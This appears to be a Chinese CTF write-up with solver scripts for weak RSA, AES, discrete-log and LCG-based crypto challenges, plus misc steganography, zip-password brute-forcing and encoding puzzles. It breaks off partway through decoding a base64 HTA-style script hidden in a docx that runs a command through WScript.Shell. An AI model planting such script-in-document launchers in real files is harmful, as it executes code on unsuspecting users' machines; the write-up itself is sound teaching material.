Dest0g3 520迎新赛

BUU的Dest0g3 520迎新赛。babyRSA、babyAES、ezDLP、ezStream、Mr.Doctor、Pngenius、EasyEncode、你知道js吗、EasyWord、Python_jail、 4096、simpleXOR、hi 、 ez_arrch的题解。

保住了前100,累死了都。

最后主办方清了一波作弊的,完赛后来看我直接70以内了。属实乐。

Crypto

babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import next_prime
p = getPrime(1024)
q = next_prime(p)
n = p*q
flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)
e = 65537
c = pow(m, e, n)
print(n)
print(c)
'''
27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
'''

p,q使用的是相邻的两个素数。所以可以进行开方求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# babyRSA_solve.py
import gmpy2
import sympy
import libnum

n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
p = sympy.prevprime(gmpy2.iroot(n,2)[0])
q = sympy.nextprime(p)

d = gmpy2.invert(65537, (p-1)*(q-1))

m = gmpy2.powmod(c, d, n)

print(libnum.n2s(int(m)))

# Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}

babyAES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
import os
iv = os.urandom(16)
key = os.urandom(16)
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = open('flag.txt', 'rb').read()
flag += (16 - len(flag) % 16) * b'\x00'
c = my_aes.encrypt(flag)
print(c)
print(iv)
print(key)

'''
b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
'''

可以看到初始向量和加密密钥都给出来了,直接进行解密就可以了。

1
2
3
4
5
6
7
8
9
# babyAES_solve.py
from Crypto.Cipher import AES
import os

aes = AES.new(b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F', AES.MODE_CBC, b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80')

print(aes.decrypt(b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'))

# Dest0g3{d0e5fa76-e50f-76f6-9cf1-b6c2d576b6f4}

ezDLP

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()
x = bytes_to_long(flag)
g = 19
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
h = pow(g, x, p)
print(h)
'''
199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
'''

用SageMath求解即可。这个只能这么做了,用到应该是BSGS算法,我自己写的跑半天跑不出来,还是用SageMath好了。

https://sagecell.sagemath.org/

1
2
3
4
5
6
7
8
9
# sagemath
h = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
g = 19
x = discrete_log(mod(h, p), mod(g, p))
print(hex(x))

# 0x446573743067337b30376564326136662d313832662d613035642d633831652d3133313861663832306137387d
# Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}

ezStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *

f = open('flag.txt', 'r')
flag = f.read()
f.close()
assert flag[:8] == "Dest0g3{"


class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.m = getPrime(32)
self.seed = getRandomNBitInteger(32)

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))


lcg = LCG()
lcg.output()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
for i in range(len(flag))])
print(bytes_to_long(c))
'''
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
'''

流加密,看样子要找seed的初值。而且给了一部分的明文,可以求密钥流。

随机数是用getRandomNBitInteger(32)生成的。那么seed的范围就是 23212^{32-1}~23212^{32}-1。选择爆破来求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import libnum
from Crypto.Util.number import *


class LCG:
def __init__(self):
self.a = 3939333498
self.b = 3662432446
self.m = 2271373817
self.seed = getRandomNBitInteger(32)

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))


flag = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
flag = libnum.n2s(flag)
lcg = LCG()

for seed in range(2**(32-1), 2**32 -1):
lcg.seed = seed
if lcg.next() == 17362:
if lcg.next() == 20624:
lcg.seed = seed
print("seed = ", seed)
break

lcg.next()
lcg.next()

print(''.join([chr(flag[i]^(lcg.next()%10)) for i in range(len(flag))]))

# seed = 2376358340
# Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25}

这里我选择的是第一个成功的来作为seed。跑的话大概三分钟跑到这。还好这题第一个就是正确的解。如果解在后面的话,又得重新跑了。不过想要遍历整个 23212^{32-1}~23212^{32}-1空间还是挺困难的。

在做Mr.Doctor的时候发现有更简单的解法。

我们去遍历损失的那16位数据即可。这个搜索空间可比之前的小的多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
flag = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
flag = libnum.n2s(flag)
lcg = LCG()

likeSeed = []
for seed in range(2**16):
lcg.seed = (17362 << 16) + seed
if lcg.next() == 20624:
likeSeed.append((17362 << 16) + seed)
print(likeSeed[-1])
for i in likeSeed:
lcg.seed = i
lcg.next()
print(''.join([chr(flag[i]^(lcg.next()%10)) for i in range(len(flag))]))

"""
1137839988
1137855425
1137870862
Bcpp7`;{e84m559>$l52o(e89: g5bl-kfg376077b26|
Iosr2f;b02g6883(c59a%`5=6"`4oi-ga`645;3<d26}
Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25}
"""

# Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25}

由于跑出来的结果并不止一个所以都进行运算即可。

Mr.Doctor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import *
from hashlib import sha256
import string

table = string.ascii_letters + string.digits
flag = open('flag.txt', 'rb').read()[8:-1]
seed = getRandomNBitInteger(40)


class SHA256:
def __init__(self):
self.proof = []
self.sha = 0
self.sha_flag = []

def encryption(self):
for i in range(len(flag) // 4):
self.proof.append(flag[4 * i:4 + 4 * i])
self.sha = sha256(self.proof[i]).hexdigest().encode()
self.sha_flag.append(bytes_to_long(self.sha))
return self.sha_flag


class RHODES_ELITE:
def __init__(self):
self.Doctor = getPrime(64)
self.Amiya = getRandomNBitInteger(40)
self.Rosmontis = getRandomNBitInteger(40)
self.Blaze = getRandomNBitInteger(40)
self.seed = seed

def next(self):
self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
return self.seed >> 12

def output(self):
print("Amiya = ", self.Amiya)
print("Rosmontis = ", self.Rosmontis)
print("Blaze = ", self.Blaze)
print("Doctor = ", self.Doctor)


sha = SHA256()
sha_flag = sha.encryption()
elite = RHODES_ELITE()
elite.output()
print("Ash = ", elite.next())
print("SliverAsh = ", elite.next())
W = b''.join([long_to_bytes(sha_flag[i] % (seed ** 3) ^ (elite.next() % 100)) for i in range(len(sha_flag))])
print(bytes_to_long(W))

'''
Amiya = 956366446278
Rosmontis = 1061992537343
Blaze = 636205571590
Doctor = 18068433704538283397
Ash = 1097363493609113
SliverAsh = 2051431344160327
1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
'''

这题代码和ezStream挺像的。主体都是一个流加密。

我们可以得到第二轮加密时的seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from hashlib import sha256
import libnum

class RHODES_ELITE:
def __init__(self):
self.Doctor = 18068433704538283397 # getPrime(64)
self.Amiya = 956366446278 # getRandomNBitInteger(40)
self.Rosmontis = 1061992537343 # getRandomNBitInteger(40)
self.Blaze = 636205571590 # getRandomNBitInteger(40)
self.seed = 1

def next(self):
# 956366446278x^2 + 1061992537343x + 636205571590 = 4494800869822930172 mod 18068433704538283397
self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
return self.seed >> 12

def output(self):
print("Amiya = ", self.Amiya)
print("Rosmontis = ", self.Rosmontis)
print("Blaze = ", self.Blaze)
print("Doctor = ", self.Doctor)


r = RHODES_ELITE()
likeSeed = []
for seed in range(2**13):
r.seed = (1097363493609113 << 12) + seed
if r.next() == 2051431344160327:
# seed = (1097363493609113 << 12) + seed
likeSeed.append((1097363493609113 << 12) + seed)
break
print(likeSeed)
# [4494800869822930172]

可以看到只有一个解。接下来我们还要求解初始的seed才能进行解密。

1
2
3
def next(self):
self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
return self.seed >> 12

这个实际上是一个整环上的运算。是在Zmod(18068433704538283397)上的一个多项式。

956366446278x2+1061992537343x+636205571590=4494800869822930172mod18068433704538283397956366446278x^2 + 1061992537343x + 636205571590 = 4494800869822930172 \, mod \, 18068433704538283397

f(x)=956366446278x2+1061992537343x+6362055715904494800869822930172mod18068433704538283397f(x)=956366446278x^2 + 1061992537343x + 636205571590 - 4494800869822930172 \, mod \, 18068433704538283397

我们求解这个多项式即可得到对应的seed值。这里使用的SageMath来计算。

1
2
3
4
R.<x> = Zmod(18068433704538283397)[]
f = 956366446278*x^2 + 1061992537343*x + 636205571590 - 4494800869822930172
f.roots()
# [(12358488364449364025, 1), (626844643882, 1)]

可以看到这里有两个值,12358488364449364025和626844643882。

这里seed要是40位的数才行。12358488364449364025是64位的,而626844643882是40位的。所以我们的seed是626844643882。

前面这部分只是这题的一部分难点。得到了seed后面怎么进行处理考虑了半天。这又是sha的又是mod(seed3)mod (seed^3) 没有办法逆过程。

1
2
3
table = string.ascii_letters + string.digits
flag = open('flag.txt', 'rb').read()[8:-1]
seed = getRandomNBitInteger(40)

当时看到有个table在这但是没有用到我还感到奇怪。现在看来,是叫我们暴力破解了。

字符集应该就是这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import itertools
import string
from Crypto.Util.number import *
from hashlib import sha256
import libnum

class RHODES_ELITE:
def __init__(self):
self.Doctor = 18068433704538283397 # getPrime(64)
self.Amiya = 956366446278 # getRandomNBitInteger(40)
self.Rosmontis = 1061992537343 # getRandomNBitInteger(40)
self.Blaze = 636205571590 # getRandomNBitInteger(40)
self.seed = 626844643882

def next(self):
self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
return self.seed >> 12

def output(self):
print("Amiya = ", self.Amiya)
print("Rosmontis = ", self.Rosmontis)
print("Blaze = ", self.Blaze)
print("Doctor = ", self.Doctor)

seed = 626844643882
r = RHODES_ELITE()
r.next()
r.next()
flag = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
flag = long_to_bytes(flag)

# 先用小写字母跑一下试试
table = string.ascii_lowercase + string.digits

for i in range(len(flag)//15):
data = flag[i*15: i*15 + 15]
rnext = r.next()
for x in itertools.permutations(table,4):
mysha = bytes_to_long(sha256(''.join(x).encode("utf8")).hexdigest().encode())
mybyte = long_to_bytes(mysha % (seed ** 3) ^ (rnext % 100))
if mybyte == data:
print(''.join(x), end='')
break

奇怪的是,我好多都跑不出来?9组数据我就跑出来三组。一开始以为是用的枚举导致的。后面换成笛卡尔集也没跑出来。后面怀疑是不是字符集少了东西。因为看其他的flag中间一般都会有几个’-‘或者’_’,所以我把’-_'都添加到了字符集,然后再跑。发现能够跑出来了。

1
2
3
4
5
6
7
8
9
10
11
12
table = string.ascii_lowercase + string.digits + '-_'
for i in range(len(flag)//15):
data = flag[i*15: i*15 + 15]
rnext = r.next()
for x in itertools.product(table,table,table,table):
mysha = bytes_to_long(sha256(''.join(x).encode("utf8")).hexdigest().encode())
mybyte = long_to_bytes(mysha % (seed ** 3) ^ (rnext % 100))
if mybyte == data:
print(''.join(x), end='')
break
# d2a4d1af-8a80-8794-99ac-635f89494cac
# Dest0g3{d2a4d1af-8a80-8794-99ac-635f89494cac}

花的时间也不算太长,大概5分钟。

MISC

Pngenius

StegoSolve看一遍,图像上没有什么值得注意的地方。LSB可以看到一个密码。

1
2
0617373776f7264 20666f72207a6970  Password  for zip
3a5765616b5f5061 733577307264ffff :Weak_Pa s5w0rd..

foremost分离出一个压缩包,用上述密码进行解压得到flag。

1
# Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyEncode

下载得到一个压缩包,没有其他信息了。密码找了一圈没有找到。采取爆破尝试。ziperello爆破6位数字密码得到密码为:

1
100861

打开文本文件得到摩斯电码:

1
..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ---.. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ---.. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- 

解码得到:

1
5c75303035325c75303034375c75303035365c75303037615c75303036345c75303034345c75303034325c75303036655c75303034645c75303033335c75303037345c75303034355c75303035615c75303035375c75303033395c75303036625c75303036315c75303035375c75303033355c75303036655c75303035385c75303037615c75303034365c75303037615c75303035385c75303033325c75303035355c75303033305c75303036335c75303033335c75303036635c75303036365c75303034655c75303034365c75303033395c75303035365c75303036365c75303035315c75303032355c75303033335c75303034345c75303032355c75303033335c7530303434

十六进制转换为字符串得到:

1
b'\\u0052\\u0047\\u0056\\u007a\\u0064\\u0044\\u0042\\u006e\\u004d\\u0033\\u0074\\u0045\\u005a\\u0057\\u0039\\u006b\\u0061\\u0057\\u0035\\u006e\\u0058\\u007a\\u0046\\u007a\\u0058\\u0032\\u0055\\u0030\\u0063\\u0033\\u006c\\u0066\\u004e\\u0046\\u0039\\u0056\\u0066\\u0051\\u0025\\u0033\\u0044\\u0025\\u0033\\u0044'

unicode编码转换:

1
RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ%3D%3D

得到以上结果,一开始以为这个是凯撒密码,但是转了一轮没有正确的。后面尝试用base64去解,发现成功了。主要是后面的%误导了。但现在想一下%3D不就是URL编码的=吗。

1
Dest0g3{Deoding_1s_e4sy_4_U}

你知道js吗

文件下载下来没有后缀名,二进制打开看到有个pk,就当压缩包解了。但是打开之后这些文件像是docx。所以后缀名变为docx打开。里面都是写图形字符。不知道是什么。

在解压的文件中找到./word/document.xml里面有一大段base64编码的内容,这个应该是我们之前看到的文档内容。提出来一段看看。

1
2
3
4
5
6
7
8
9
10
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pgo8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+Cjx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4KICAgICAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPgo8YXBwbGljYXRpb24geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4KICAgICAgICA8ZHBpQXdhcmVuZXNzIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL1NNSS8yMDE2L1dpbmRvd3NTZXR0aW5ncyI+RG8geW91IGtub3cganM8L2RwaUF3YXJlbmVzcz4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQ2h0bWwlM0UlMEElM0Nib2R5JTNFJTBBJTBBJTNDJTIxRE9DVFlQRSUyMGh0bWwlM0UlMEElM0NodG1sJTNFJTBBJTNDaGVhZCUzRSUwQSUyMCUyMCUyMCUyMCUzQ3RpdGxlJTNFRG8lMjBZb3UlMjBLbm93JTIwanMlM0MlMkZ0aXRsZSUzRSUwQSUzQ0hUQSUzQUFQUExJQ0FUSU9OJTBBJTIwJTIwQVBQTElDQVRJT05OQU1FJTNEJTIyRG8lMjBZb3UlMjBLbm93JTIwanMlMjIlMEElMjAlMjBJRCUzRCUyMkluY2VwdGlvbiUyMiUwQSUyMCUyMFZFUlNJT04lM0QlMjIxLjAlMjIlMEElMjAlMjBTQ1JPTEwlM0QlMjJubyUyMiUyRiUzRSUwQSUyMCUwQSUzQ3N0eWxlJTIwdHlwZSUzRCUyMnRleHQlMkZjc3MlMjIlM0UlMEElM0MlMkZoZWFkJTNFJTBBJTIwJTIwJTIwJTIwJTNDZGl2JTIwaWQlM0QlMjJmZWF0dXJlJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDZGl2JTIwaWQlM0QlMjJjb250ZW50JTBBJTA5JTA5JTA5JTA5JTNDJTJGc3R5bGUlM0UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0NoMSUyMGlkJTNEJTIydW5hdmFpbGFibGUlMjIlMjBjbGFzcyUzRCUyMmxvYWRpbmclMjIlM0VCdWlsZGluZyUyMGpzLi4uLi4lM0MlMkZoMSUzRSUwQSUwOSUwOSUwOSUwOSUzQ3NjcmlwdCUyMHR5cGUlM0QlMjJ0ZXh0JTJGamF2YXNjcmlwdCUyMiUyMGxhbmd1YWdlJTNEJTIyamF2YXNjcmlwdCUyMiUzRSUwQSUwOSUwOSUwOSUwOSUwOWZ1bmN0aW9uJTIwUnVuRmlsZSUyOCUyOSUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHZhciUyMFdzaFNoZWxsJTIwJTNEJTIwbmV3JTIwQWN0aXZlWE9iamVjdCUyOCUyMldTY3JpcHQuU2hlbGwlMjIlMjklM0IlMEElMDklMDklMDklMDklMDlXc2hTaGVsbC5SdW4lMjglMjJub3RlcGFkJTIwJTI1d2luZGlyJTI1JTJGRGVza3RvcCUyRmpzLnR4dCUyMiUyQyUyMDElMkMlMjBmYWxzZSUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyRiolMjB2YXIlMjBvRXhlYyUyMCUzRCUyMFdzaFNoZWxsLkV4ZWMlMjglMjJub3RlcGFkJTIyJTI5JTNCJTIwKiUy

base64 decode:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">Do you know js</dpiAwareness>
<script language="javascript">document.write(unescape('%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2

可以看到有一个script标签。我们把其他数据段也提出来,进行解码,然后只关注script标签部分。

1
